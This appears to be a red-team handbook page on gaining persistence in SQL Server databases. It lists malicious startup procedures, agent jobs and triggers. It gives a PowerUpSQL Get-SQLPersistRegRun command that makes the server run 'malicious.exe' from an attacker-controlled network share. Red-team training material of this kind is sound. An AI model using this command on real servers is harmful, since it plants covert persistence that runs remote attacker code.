> For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/sql.md).

# SQL

To get persistence in a SQL database, we can create malicious startup procedures, malicious agent jobs or triggers, modify existing code etc.

PowerUpSQL has quite a bit of modules to assist you with this, for example we can use the Get-SQLPersistRegRun function for persistence:

```
Get-SQLPersistRegRun –Verbose –Name Legit –Command "\\attacker_controlled_machine\malicious.exe" –Instance "SQLServerName\InstanceName
```

There are lots of other techniques you could try. Check the documentation for more information
